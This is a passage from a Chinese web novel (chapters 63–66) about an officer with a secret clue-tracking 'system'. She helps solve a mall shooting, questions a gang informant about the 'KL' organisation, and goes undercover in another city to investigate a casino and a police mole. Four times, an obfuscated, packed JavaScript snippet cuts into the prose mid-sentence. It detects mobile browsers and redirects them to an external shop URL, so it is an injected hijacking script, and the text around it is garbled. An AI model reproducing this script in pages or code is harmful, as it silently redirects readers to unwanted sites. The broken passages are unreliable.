系统小五把自己的疑惑说了出来】 程昭思考了一下，在心底回复了小五：“我当时也没有想那么多，我有余力救人，总不能见死不救吧。而且他活着很有用，我们需要他帮忙调查组织。” 【系统小五懵懵懂懂，不过它也不会过度干预宿主的行为，只要宿主好好收集素材，帮它完成任务就行。】 …… 程昭环视四周，商场内没有其他人中枪。 刚才枪击发生的时候，很多人着急躲避，不小心摔倒或者被撞伤了，还好没有发生踩踏事件。 吴白被地面打碎的瓷片划伤了一道口子，不过不严重。 老K倒是毫发无损，不愧是混黑市的老江湖。 程昭趁大家关注点还在伤者身上，抽空仔细查看了系统的内容。 【系统新增了一个新事件“交易失败的枪声”，事件概述就是孙家豪为组织取货，交易失败，差点被组织的人灭口。】 令程昭惊讶的是，凶手居然是她认识的人——韩高煊（龙傲天小说男主）。 大概因为韩高煊与她有过一面之缘，她又目击了枪击的过程，所以系统直接标注了犯人的身份。 程昭打起十二分的精神，仔细查看系统的信息关联表，想找到可以指认犯人身份的线索。 【关联表里面的信息，主要是她看到的枪击过程，其中有几条信息是枪手附近的目击者，还有几条是枪手碰过的东西。】 有这些信息，应该可以指出韩高煊了，程昭默默记下，准备在合适的时候提出来。 …… 救护车终于来了。 急救人员看到伤者的伤势这么严重，很惊讶他们居然止住了大出血。他们不敢耽搁时间，迅速把两人带回医院做手术。 因为担心他们中途出事，张同也开车跟在后面护送，顺便把吴白也带去医院清理伤口。 送走了救护车，于山派来的支援也到场了，周立言也在其中。 程昭悄悄走近周立言，小声说：“周队，你也来了啊？” “因为听到某人遇到枪击案了，我就主动请缨了。”周立言仔细看了程昭一圈，确定她没有受伤，才真正安心下来。 有了支援的警察和技术员，大家分工合作，鉴证科四处取证，技术员去分析监控录像，警察和附近的人交谈。 程昭去询问路人的时候，找到了被系统标注的几个人，他们曾经离枪手很近，甚至还正面看过枪手，所以对他的样貌有比较具体的描述。 令程昭惊喜的是，枪击之前有人在休息区拍照，刚好把枪手也拍进去了，虽然枪手带着鸭舌帽和口罩，但是看清楚了他的眼睛和衣着。 鉴证科提取指纹的时候，程昭假借目击者的话，提示鉴证科在几个枪手触碰过的地方取证。鉴证科拿到了几枚比较完整的指纹。 …… 刑警们和附近的客人和工作人员交谈完，回到案发地点，交换情报。 有几个人看到，当时枪手在二楼休息区旁边的一家商铺开枪。 枪手戴着灰色鸭舌帽和黑色口罩，所以路人没有看清他的长相，只能确定他是男性，中等身材，身高大概180cm左右。有目击者在案发之前无意拍到了枪手，有了参考照片。 枪手看到孙家豪中枪，人被警察藏到柱子后面之后，就放弃追击，趁乱逃走了。逃走的方向是休息区的北面，那边有一个扶手电梯到一楼。 技术员查看了监控，找到了枪手逃走时候的影像。枪手出了一楼大门，走到停车场的监控死角就消失了，估计是有人开车接应，或者枪手自己开车走了。 技术员汇报进展：“……案发前后地面停车场各个出口的车牌已经在收集了，迟些就可以给出汇总文件。枪手和孙家豪案发前的行动路线，我们还在查监控。” 孙萍：“听吴白说，枪手开枪的时候，有人在开枪之前就大喊提醒，不知道有没有找到那个人？我问过的目击者都没有看到大喊的人。” “啊，你们说那个人啊，”程昭手指挠挠脸颊，笑了笑，“那个人是我啦。” “是你？？” 程昭指了指楼上的露台，无奈地说：“我当时在上面两层楼……就是你们一开始那个熟食区附近。 “当时很多人去露台那边看热闹，我也跟着过去，然后看到你们在二楼的休息区打斗。 “我当时想找楼梯下楼，刚好看到那个枪手拿出手枪准备射击，我就大喊提示。不过我刚喊一句，枪手就开枪了。我找楼梯下来的时候花费了一些时间，赶到的时候你们都到了。” 孙萍很无奈：“孙家豪一直在改交易地点，打电话让老K跑来跑去，我们不能一群人跟着，只留了吴白远远跟在后面。” 周立言：“那孙家豪清楚老K的动向吗？他在通话的时候，你们有没有听到什么？” 孙萍：“我觉得他有在观察老K的动向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14197184|143875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，因为他应该在观察老K有没有带了其他人……他的电话我们做了录音，技术员在做背景音分析。他打电话的时候电话里面有其他声音，应该不是在什么安静的地方。” 程昭：“可以让我先听听录音吗？” 孙萍：“当然可以，我发给你。” 程昭收到录音，戴上耳机准备细听。周立言靠过来，程昭分了他一个耳机。 今天孙家豪和老K通过5次电话： 第一次要求他从熟食餐厅的休息区（四楼）前往F出口（一楼）； 第二次要求他从F出口（一楼）前往儿童乐园门口（三楼）； 第三次要求他从儿童乐园门口（三楼）前往电器预定柜台（二楼）； 第四次要求他从电器预定柜台（二楼）前往冷冻食品的取冰柜（四楼）； 第五次要求他从冷冻食品的取冰柜（四楼）前往中庭休息区（二楼）。 第五次电话就是最后的一通，没有再改变交易地点。 周立言思索：“如果孙家豪没有其他的帮手，他身上没有设备可以黑进商场的监控，他应该是在商场某个地方监视老K的动向。” 孙萍：“是的，我们也比较倾向于他当时在人群里。” 程昭听完电话录音，查看系统的关联表有一个新线索。 【“电话录音里面有音乐和水流声”。】 程昭找到了有音乐水流声的片段，看录音时间，当时刚好是14点整。 程昭环视四周，看到了商场的指示地图，找到了自己想要找的东西。 程昭跑回讨论的地方，一边小喘气一边说：“孙家豪第四通电话里面，有一段的背景音有音乐和水流声，那时候刚好是下午两点。商场里面有音乐喷泉，在整点的时候会喷喷泉。” 孙萍：“所以，他之前就在音乐喷泉附近监视。” 周立言：“而且，当时枪手可能也在附近。” 程昭高兴地点头：“没错，音乐喷泉在三楼的露台，那边应该有监控。” 有了比较明确的时间点和地点，他们很快找到了想要的监控画面：孙家豪在三楼音乐喷泉的露台对着外面张望。有个和枪手衣着打扮一样的男子曾经在他附近出现，而且这名男子当时没有戴口罩，露出了完整的脸。 周立言也认出了这张脸：“这是……韩高煊？那个开车撞你的人？” 程昭用力点头。 孙萍疑惑：“你们知道这个人？” 周立言给孙萍简单讲了之前的车祸案件，以及韩高煊的下落：“……他去A国之后就不知所踪了。后来我们还查到，他曾经参与过一系列的诈骗案，但是一直没能逮捕归案。后来他脱离了青木帮，去了一个叫KL的组织。这个组织很神秘，我们没有查到什么有用的信息。” 孙萍沉吟：“孙家豪当时要被我们抓住了，他出来杀人灭口，难道他们同属一个组织？” 周立言微微点头：“很有可能。” 程昭趁机把程露同学的事也说出来：“说起这个韩高煊，我之前意外发现，我妹妹的同班同学韩学文，是他的堂弟，他们两家关系似乎有点亲密，不知道他回国有没有和亲戚朋友联系。” 周立言：“这是一个切入点，我们回去就查。” 64. 枪击后续 鉴证科技术员在案发现场提取的几个指纹，在系统里面找到了匹配的对象，正是之前车祸案的韩高煊。 有指纹，有监控录像，虽然还没有孙家豪的口供，但是已经可以确认枪手就是韩高煊了。 因为车祸案和诈骗案，他早已被警方通缉，通缉令至今仍未撤销。如果他使用自己的身份证入境，应该会触发出入境系统，但是警方没有收到相关的通知，估计韩高煊是伪造了身份，或者使用了别的手段，绕过了出入境的检查。 警方继续挂着韩高煊的通缉令，还在内部发布了通知，让全市警员都留意这个通缉犯，并提示这个犯人可能携带危险武器。 …… 韩高煊的堂弟一家，警方暂时没有发现有可疑的人联系过他们，只能先安排人手盯梢，守株待兔一段时间。 程昭有预感，韩高煊一定会去找他的堂弟一家。 听程露的描述，他的堂弟应该还不知道他进入了另一个组织，以为他还在以前的□□里面。 从程昭看过的部分小说情节可以看出，龙傲天男主的个性很骄傲。 他被迫离开了青木帮，东躲西藏了一段时间，这些经历对于他来说是耻辱。现在进了势力更强的KL组织，他应该会想办法“锦衣还乡”，只是不知道他最近会不会去他堂弟家炫耀。 而且，韩学文以后很可能会和龙傲天的小说剧情有关，只是不知道他会充当什么样的角色。 …… 两名伤者因为止血得当，及时送到医院，经过了几个小时的抢救，两个人都活了下来，手术都很成功。 于山把孙家豪的消息都捂得很紧，连自己人也瞒住了，很多同事都以为交易材料的犯人中枪死了。 医院也很配合地隐瞒了孙家豪的情况，只有少数几个内部人员知道他手术成功了。 过了两天，伤者的情况比较稳定了。 程昭和周立言跟着孙萍他们，一起去医院探望，顺便录取他们的口供。 为了避免来探望陈宣怡的人看到孙家豪，两人被安排到两个相隔比较远的病房。 陈宣怡的病房，里面摆满了鲜花、水果篮子和礼物。 陈宣怡静静地躺在病床里，脸色依然很苍白，但是眉眼之间精神了很多。 她很郑重地感谢了吴白，冒着危险救了她，然后又感谢程昭。 “医生说我的肺部、胰脏都中枪了，当时的情况很危急，我也感觉我当时快不行了。”陈宣怡感激地看向程昭，“多亏了你的药膏，帮我争取到了时间，你救了我一命。” “不用客气，你没事就好。”程昭很高兴看到她没事。 陈宣怡的父母、丈夫也在医院，他们轮番感谢了程昭和吴白。陈母还想给他们发大红包，程昭和吴白连忙婉拒了。 “以后有需要帮忙的，你们尽管和我们开口，千万不要客气。”陈宣怡的丈夫很郑重地承诺。 程昭也不知道这个承诺意味着什么，只是盛情难却，就先应下了。 陈宣怡需要静养，程昭他们探望完，问了一些当时的情形，录完证词就先走了。 …… 一行人离开陈宣怡的病房，继续前往孙家豪的病房。 周立言心里在想事情，比其他人慢了几步。他觉得陈宣怡的丈夫有点眼熟，但是一时想不起来哪里见过。 程昭看到周立言走得慢，就慢下来等他：“想什么呢？走这么慢。” 周立言抛开脑海里面的问题，快步跟上程昭。 孙家豪的病房在偏僻的角落，这个房间在走廊的尽头，一般很少人会经过。 这个房间只分配了孙家豪一个病人，另外的病床留给了看守的警察休息。 孙家豪的伤比陈宣怡的更严重一点。他的肺部胃部都被打中了，有一枪离他的心脏特别近。 主刀的医生说，如果不是那个神奇的药膏止住了出血，伤者早就死了，根本等不到去医院。 手术之后，医生把用过的止血药膏收集起来，想要研究里面的成分，不过这是后话了。 …… 孙家豪看到走进病房的刑警，心情很复杂。 之前他和他们还是敌对关系，现在他只能投靠警察这边。他没想到组织居然会派人监视他交易，看到他落了下风，不帮他脱困，直接杀他灭口。 之前视频计划失败，他的上司失势，他这个做手下的更是受了不少冷嘲热讽。 有风声说他们的姓名已经暴露了，上面的人觉得他们会拖累组织。这次他一被抓就有人杀人灭口，看来传闻是真的。 孙萍等人和房间里面的看守警员点头示意，警员和他们汇报了伤者的情况，然后就走出了房间，带上了门，在门外看守。 孙萍：“孙家豪，跟踪杀你的人，是不是你背后组织的人？” 周立言：“我们已经查到了枪手的身份，猜到了他背后的组织。你都被他们痛下杀手了，还要为他们卖命吗？” 孙萍：“为了救你，吴警官冒着危险先救了你，程警官用了她珍藏的药膏，没有他们和医院帮忙，你早就死了。” 周立言：“你的身份已经暴露了，就是脱离了警方的控制，你背后的组织也不会放过你的，你出去只有死路一条。不如和我们合作，老实交待你知道的东西，争取一些好处。” 周立言和孙萍两位队长一唱一和，分析了孙家豪尴尬的处境，又许之以利。 孙家豪的立场本来就不坚定，没多久就倒向了警方这边。 不过，孙家豪想先得到警察的保证：“我说可以，但是你们要保护我的安全，而且要豁免我之前的罪行，不能追究我的责任。” 周立言面无表情：“我们可以保护你的安全，把你放到合适的证人保护计划。但是你的罪责不是我们定的，我们只能帮你说好话，没有免罪的权力。你现在只是我们的一个突破口，你态度越好越容易减刑。你不配合的话，我们也不是非你不可。但是如果你没有我们的保护，逃出去了也只有一个结果。” …… 孙家豪纠结了一下，最后还是把自己知道的事一五一十地告诉了警察。 首先是组织的人。 他、陈哥、枪手都属于KL组织，他这样的底层人士是没有代号的，不过高级一点的会用代号相称。 陈哥本名陈子穆，代号仓鸮，是他的上司。因为他经常和外部对接，所以比较少用代号。 陈哥的上司代号红狐，在组织差不多军师的地位。他只听过红狐的声音，知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14209878|143875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他是个男的。 至于老板，什么代号，姓甚名谁哪里人，孙家豪表示自己只是个小喽喽，什么都不知道。 杀他的枪手，代号灰狼，是红狐的新手下。虽然是组织新人，但是很受红狐的重视，听陈哥说，有一些生意原本应该分给陈哥的，但是最后分配给了灰狼，分走了陈哥不少的利益。 然后是组织的工作。 孙家豪表示，他之前是跟着陈哥做视频平台项目和化工材料采买的。 视频项目被警方破坏之后，陈子穆本来想用原来的代码，再搞一个APP，但是这个计划被上面的人喊停了。 陈子穆最近去了F市的地下赌场帮忙，准备开分店。新店的地址应该在A市。 孙家豪最近的工作是接收化工材料。 他们这个环节主要是负责联系中间商、对接运货。他们找的中间商不止老K一个，孙家豪很爽快地说出中间商的名单。 往常拿到的化工材料，他听陈哥说过，一部分是制成毒药，一部分是制造成瘾毒品。 采购回来的化工材料，他们会先存放到租赁的仓库。隔一段时间，陈哥就会叫人来运货，他见过几次运货的车，不过他不知道运货的目的地是哪里。孙家豪把记下的车牌号和租赁仓库地点，列了一个清单给了警方。 组织的生意很广。 组织会制造一些违禁药物，开设一些不合法的娱乐场所，好像还有做一些走私的生意。听说组织的生意遍布全国，甚至在国外也有订单。不过他是最底层的人，所以了解得不多。 至于组织的生意设置在什么地点，他也不太清楚，只知道地点会经常变换。 最后，孙家豪把他之前接触过的几个组织底层的人，列了一个名单给警察。 “这些就是我所知道的全部了，”孙家豪神情有点复杂，“谢谢你们救了我。” …… 程昭旁听孙家豪讲述组织的事，她留意了一下系统。 【系统触发了一个“KL组织”事件集。 系统小五和程昭解释，因为这个组织的相关案件比较多，所以系统把相关事件归纳到一个集合，打开之后会显示分支的事件。 之前的视频案、材料倒卖案、枪击案都归纳进来了。】 …… 询问完孙家豪，刑警们回到警局。 刑事二队和刑事三队的人都去了会议室和于山讨论KL组织的事。 于山看完了孙家豪的证词，脸色很复杂，他叹了一口气：“如果孙家豪没有说谎，那么这个组织的水确实很深。” 可能黄赌毒都有，五毒俱全了。 周立言：“组织的人知道孙家豪落在我们手里，虽然他们可能会以为他活不了，但是很可能会做一些应变对策，以防他有泄密。” 程昭：“孙家豪知道的事都比较空泛，底层人士的名单、运货的车牌、租赁的仓库，这些信息可能很难查到组织的核心人物。” 周立言：“我们最好可以抓到陈子穆，他的级别比较高，上司就是组织的军师，应该知道比较多的内幕。” 于山点头：“我会去联系F市警方，请求联合调查地下赌场案件。陈子穆都计划在我们A市开分店了，这事我们必须管一管。” 65. 出差 为了减少负面影响，上面要求把枪击案归咎于帮派纠纷。 于山为枪击案开了新闻发布会，公布了孙家豪的死讯，而且假戏作全套，还通知了孙家豪的亲人来领取骨灰。 孙家豪被转移到了其他医院继续养伤，等伤好了再关押到保密程度比较高的监狱。 孙家豪提供的存放化工材料的仓库地址，于山安排了警员在附近看守。他们悄悄派人去查过，那些仓库里面囤积的材料还有很多，大家都觉得他们不会舍得直接放弃这批货。 组织底层人士的名单，大家都很慎重对待。 一来，警方还没有收集到他们的犯罪证据，没办法给他们定罪。 二来，轻易抓捕这些人很容易打草惊蛇，组织的人肯定会意识到，孙家豪出卖了组织的消息。一旦组织的人转移阵地，警方手上的情报就没有用了。 “放长线钓大鱼，”于山拍板，下了决定，“把这些人录入系统，慢慢调查。如果发现他们的罪证，以对应案件的名义抓捕，慢慢套出组织的情报。如果出问题，我愿意承担责任。” 连组织底层人员的名单都按兵不动，就更不会去抓供应商的名单那些人了。 周立言安排了线人去接触那些供应商，如果组织安排其他人来接手货源渠道，线人就会通知周立言。 …… A市警方请求联合调查地下赌场的事，F市警方一开始有点犹豫，担心他们想来摘桃子。 但是他们这边没有什么进展，听说赌场背后的势力曾经在A市出现过，A市警方掌握了一些线索，他们才愿意松口，同意联合调查。 于山安排了周立言的刑事三队去跟进地下赌场的事。 周立言、程昭、侯远山、陈丰准备出差F市，留下乔良、孙泽林在警局继续跟进供应商和组织底层人员。 …… 程昭在出差之前通过了警校的射击考试，拿到了持枪资格，以后她也可以配枪了。 周立言是看着女朋友从不会用枪，一步步变成神枪手的。他很惊叹程昭的学习速度，又很佩服她的毅力。之前为了练枪，他们约会的地点很长一段时间都在练习场，他偶尔还会充当临时教练。 拿到配枪，程昭感觉更有安全感了，以后遇到危险，她也可以帮上忙了。 另外，因为程昭要出差，程露平时要在学校住宿，家里没有人照顾小橘，程昭就买了家庭监控、定时喂食器和自动猫砂盆，并且拜托了楼上的王阿姨，让她偶尔抽空帮忙，看一下小猫的情况。 …… F市。 这是一个临海的热带城市，虽然现在还是春天，但是气温已经挺高了，不少人已经脱掉了厚外套。 下了高铁出了站，程昭就看到一个穿着西装的年轻小哥，举着一个大纸牌“欢迎周老板莅临参观”——此人正是迎接他们的F市刑警。 周立言一行人不是直接以刑警的身份来的。 他们在线上和F市的警方商量过，他们在F市是生面孔，假装成其他身份很方便，所以先假装成来F市参观投资的有钱老板及其秘书、助手、保镖。 知道他们真实身份的，只有负责地下赌场案件的刑警和市局领导。 来接他们的刑警小哥是一个很少在外面露面的技术员，看起来一点都不像警察。 技术员小哥也看到周立言一行人了，他们实在是太显眼了，几个人都西装革履，带头的“老板”长得很帅，“秘书”长得很可爱，“组手”长得很可亲，“保镖”长得很魁梧。 技术员小哥放下手里的纸牌，笑容灿烂地向他们招手，待他们靠近，还热情地和他们握手：“你们好，想必你就是周老板吧？我是接待员刘进，你们叫我小刘就行。” 两边互相介绍，寒暄了一番，然后上了小刘开来的商务车。 侯远山竖起大拇指：“小刘哥，你看起来真的很像业务员啊。” 刘进笑了：“我之前做过一段时间的业务员，队里也是看我最不像警察，才派我过来的。你们几个才厉害呢，看起来真的好像老板带着手下出差谈生意。” 刘进开车把他们带到约定的酒店，负责赌场案的刑警队长陈岳已经在订好的房间里面等他们了。 两边互相介绍认识了一番，然后进入正题。 陈岳把他们手上地下赌场案的相关资料都复制了一份，拿给了周立言他们。 陈岳简单地讲了一下这个案件：“……我们之前收到举报，说海边的金堂饭店涉嫌开设赌场。我们突击检查了几次，都没有拿到实证。举报的人不知道怎么被泄露了信息，后来出车祸死了。 “我们通过几个线人搜集情报，确定金堂饭店有地下赌场，但是去了几次都扑空了。我们曾经安排了一个卧底，去应聘服务员，但是那人没进去几天，就被人诬陷偷东西，辞退了…… “我们的线人拿到的最新消息，地下赌场好像准备要换新地址了，但是还不知道开在哪里。我们希望可以在他们撤走之前，找到他们的罪证。” 程昭听完，仔细看了一遍资料。 警方确定这个饭店有猫腻，一方面是因为举报人、卧底的遭遇，另一方面是饭店不正常的资金流水。 饭店的位置在海边，装修特别豪华，但是他们的菜品价格偏高，服务态度因人而异，所以他们平时的生意并不算太好。虽然账本看起来没有太大问题，但是他们找懂行的人估算过，进入他们账户的钱远远超过他们正常的收入。 饭店的老板叫张桑，是一个有前科的诈骗犯。警方调查发现，他在店里并没有话语权，还不如一个经理说得上话，所以认为他只是一个门面的傀儡。 饭店的经理叫李怀，是一个很精明的人，警方怀疑他和本地的一些帮派有关系…… 看资料的时候，程昭很担心系统没有触发事件收集，抽空悄悄查看了一下系统。 【幸好，系统触发了新事件“地下赌场”，里面记录了警察收集到的信息。这个事件也归属到KL组织的事件集里面了。 目前关联信息表里面，排行前三的线索分别是：金堂饭店，经理李怀，警方行动屡次扑空。 组织的陈子穆也被显示在关联表里面，不过他的排序不算太靠前。】 “警方行动屡次扑空”、“举报人消息泄露”……这些信息让程昭联想到，这个饭店的赌场，会不会在F市警方里面有内鬼。 【系统确 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14224273|143875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定了程昭的猜想，把“F市警方有内鬼”标注了关联。】 程昭惊愕地抬头，看了看屋子里面的陈岳和刘进，微微皱眉。 这两个人都没有被系统标注，应该不是内鬼。 周立言他们计划伪装成有钱的商人，想要引来赌场的介绍人，带他们进去赌场。如果警局里面有内鬼，他们的伪装计划就没有意义了。 周立言留意到程昭的情绪不对，向程昭投来一个询问的目光。 程昭看了看周立言，又看了看其他人，他们一无所知，不能让他们毫无防备。 程昭抿了抿嘴，决定开诚布公，讨论这个问题：“陈队，你们屡次行动都扑空，举报人的信息被泄露……你们有没有怀疑过，内部有人泄密？” 刘进一脸茫然。 陈岳一开始很愤怒，但是他好像想到了什么，愤怒消退，取而代之的是惊疑不定，脸色快速变化，越来越难看。 陈岳苦笑：“刚刚听到你的质疑，我很生气。但是你提醒了我，说不定还真有内鬼泄密。” 大家都坐直了身子，齐齐看向陈岳。 陈岳回忆了一下，缓缓说道：“有一次我们差点就抓到人了，但是那个区域突然断电……我们盯梢的地点好像也经常被人发现……还有卧底那件事，本来他已经成功入职了，突然被人诬陷打了出来，估计是有人查到了他的档案。” 侯远山和陈丰面面相觑，面露难色。有内鬼，他们还要伪装成赌客吗？ 周立言沉吟片刻，问：“你们的线人有暴露吗？” 陈岳摇摇头：“那倒没有。之前有一次几个线人反馈的赌局时间都不一样，我们担心是试探线人的圈套，就没按线人的时间，选了一个其他的时间去巡逻。听说那次有个人被赌场怀疑，差点被打死了。” 程昭：“全部的线人都是你在对接，还是有其他人也在对接？” 陈岳：“我们的线人是各自对接的。线人都是刑警们自己培养发展的，三教九流的人都有。” 周立言：“你们的行动有没有被限制过，或者质疑过？” 陈岳：“当然是有的，这个案件举报之后，我们查得不太顺，已经有领导怀疑是不是我们歧视有案底的商户，巧立名目收受好处。” “领导？”周立言和程昭不约而同地反问一句，两人对视一眼笑了笑，然后看向陈岳。 陈岳：“嗯，不过不是警局的，是经济科那边的。” 陈岳查了一下以往的聊天记录，找到了那个领导的姓名和岗位。 程昭看了一下系统，这个人没有被标注，估计是被人挡枪使的，不是内鬼。 程昭摸摸下巴，然后问：“可以把你们负责这个案件的人员名单给我看一下吗？最好包括下面辅助你们的警员，和有权限查看你们行动的领导。” 陈岳微微皱眉：“可以是可以，不过这个完整的名单可能要晚一点才可以汇总出来。你们又不认识他们，要名单有什么用？” 周立言：“没事，你先提供吧，我们只是想尽可能先找到内鬼。不然我们后续的行动都会很被动。” 陈岳也很在意内鬼的事。虽然这个只是推测，但是他越想越觉得很有可能。 66. 安排 陈岳写出了地下赌场案的刑警名单，这些人主要是他的队员和技术部的技术员，他随便都可以背出来。 不过辅助工作的警员，和有权限查看行动的领导，他需要回去警局查看工作日志，才可以确定名单。 确定名单的事，现在他也不敢打电话叫人来帮忙了，担心整理名单会让内鬼警惕。 程昭看了默写出来的刑警名单，系统没有标注这一批人，里面应该没有内鬼。 周立言、侯远山、陈丰也一起看了看刑警名单，大概记了一下人名。 侯远山微微皱眉：“我们现在怎么办？还继续装富商钓鱼吗？” 陈岳看向周立言，这件事的决定权主要在A市刑警身上。如果真有内鬼，他们的钓鱼行动很可能会无功而返，甚至还会有危险。 周立言思考了片刻，然后点头：“继续钓鱼，不过计划可以要改一下。我们原定是要去哪几个公司工厂参观？在哪个酒店住宿？” 陈岳递给周立言一份名单，上面列了原本计划参观的工厂和公司。 陈岳：“这些是我们原本预约好的公司。他们和政府、警方合作比较多，很愿意配合……酒店的话，应该就是住现在这个酒店。” 周立言看了公司名单，然后在笔记本电脑上查这些公司的相关信息。 程昭看了看公司名单，又看了看周立言，很好奇他想做什么。 程昭也检查了一下系统的关联表，关联表没有标注这些公司。 周立言大概查询完这些公司的情况，皱眉思考了一会，然后说：“我有一个想法，不过需要找人帮忙。我出去打一个电话，你们先讨论。” 周立言眼神安抚了一下程昭，让她稍等片刻，然后和其他人点头致意，走到阳台打电话。 程昭翻看了一下名单，公司名单后面还有一个他们的行程表，还列了去哪里吃饭哪里消费，想要显示他们一行人“人傻，有钱，速来”的气质。 程昭看向陈岳：“陈队，我们原定的行程，花费不少吧？队里可以报销这么多吗？” 陈岳苦笑：“报销有额度，而且酒水那些可能不支持报销，到时候可以要辛苦你们演一下戏……我们的线人会帮忙散播你们信息，吸引赌场的介绍人拉你们入场。” 程昭挠挠头，好像很多限制，感觉这个钓鱼计划有点悬。 周立言打完电话回来了，他微微一笑：“问题解决了，钓鱼计划，我有更好的安排。” 大家都一脸好奇地看着周立言，想让他仔细讲一讲有什么安排。 周立言也不卖关子：“我联系了顺晟船运，他们同意我们假借他们的名义，去参观F市的合作公司，参观完我们就可以自由发挥，借顺晟程名头引蛇出洞。” 顺晟船运，是周家的其中一个比较大的子公司，他在里面也有一点股份，知道这个公司在F市有不少合作业务。他刚刚联系了父亲，说明了情况。周父很爽快地同意了他们借顺晟的名义做任务，毕竟这是帮政府做事，对他们企业有好处。 “顺晟船运？A市那个很有钱的船王公司吗？”侯远山惊呼，“周队，你怎么找得到他们帮忙？” 周立言拿起一叠资料，轻轻拍了一下侯远山的脑门，“用得着这样大惊小怪吗？是那个公司，我认识那个公司的人，他们很乐意和警方合作。” 陈岳挠挠头：“原来的计划是有什么不对吗？我们找的几家公司也很乐意配合行动。” 周立言解释说：“原来定好的几个公司，和F市政府合作太紧密了，和这些公司合作的商人，在出差期间去赌博的可能性比较小。而且你们那边可能有人泄密，这些公司人多眼杂，我们的身份很容易就露馅了。之前我没想过可能有内鬼，所以临时才联系其他公司帮忙，希望你们不要介意。” 陈岳点点头，又摇摇头：“哎，怎么可能会介意。我们现在计划要怎么做？” 周立言把一个文件传输到电脑，然后在电脑上打开，给众人查看。 文件里面是顺晟公司原定在一个月后，到F市参观视察合作公司的计划，里面有合作商的公司名、负责人姓名、联络方式等信息。 周立言：“顺晟本来下个月要派人来F市的，他们同意让我们假装成他们的高层提前出差。角色分别是市场部的周经理，程秘书，侯助理，陈顾问。另外，周经理还是顺晟老板的侄子，不过你们可以假装不知道。 “顺晟那边已经和合作商打好招呼了，晚一点会把时间表发给我，我们到时候过去参观就可以，他们会招待我们。 “假戏做全套，我们酒店也改成他们以往去的度假酒店了，消费都是内部价，所以不用担心报销的问题。” “哇，听起来好好哦，这个酒店看起来好豪华。”程昭大概看了一眼要去参观的公司和酒店，感觉这次出差任务好像度假一样。 周立言看了程昭一眼，眼角眉梢带着笑意：“是挺豪华的，顺晟那边给我们预定了十天的行程，我们尽快完成任务，还可以好好玩一两天。” 侯远山小声嘀咕：“周队你变了，如果是以前的你，肯定一完成任务就赶着回去。” 周立言挑眉：“劳逸结合嘛。而且这个也是策略，提升你们的士气，让你们用心工作。” 侯远山比了个“OK”。 陈岳看了周立言的文件，确实是比他们之前定的计划好很多。这么一来他们就更像肥羊了，即使不用线人在背后推波助澜，估计地下赌场的人也会留意到顺晟老板的侄子。 陈岳点头：“你这个计划好，估计不用多久就会有人邀请你们去赌场玩了。我也会让线人也去散播你们的消息，让赌场快点留意到你们。咱们争取早日拿到罪证，解决这个案子。” 周立言：“嗯，我们还要尽快确认泄密的事。” 程昭灵机一闪：“我有一个想法，不过不知道合不合适。” “请说。”陈岳看向程昭，作了一个“请”的手势。这个程警官看起来年轻，但是看事情很敏锐，周队长看起来也很看重她。 程昭建议：“不如找几个人假装成我们，继续住这边的酒店或者去参观原定的公司，然后看一下内部有没有人打听消息。” 众人听了程昭的建议，纷纷思考这个方法的可行性。 目前只有负责案件的刑警和市局领导知道他们几个的身份，其他人可能会听说过A市有派人来。如果知道他们身份的几个人不是内鬼，那么泄密的人确实是会想办法打听他们的消息。 陈岳点头：“这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14235308|143875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个方法可以，甚至不需要找人去参观，只需要保留A市刑警住宿的酒店，内鬼知道了，应该就会想办法过来打探。即使内鬼没有来打听，我们也不过是多花了几晚酒店的钱。” …… 暂时确定了下一步的计划，陈岳和刘进先走一步，回去警局。接触过案件的人员名单，陈岳汇总好之后直接发给周立言。 周立言也带着程昭等人，打车前往顺晟预定的一号豪庭度假酒店。 这个度假酒店也是在海边，有酒店沙滩，水上乐园，海底餐厅，健身房，游戏厅等等娱乐设施，还有几个网红玻璃游泳池，有的靠着海洋，有的连着大露台在楼上悬空。 酒店装修很豪华，程昭感觉自己好像土包子进城。不过为了保住商务秘书的人设，她努力装作司空见惯的样子。 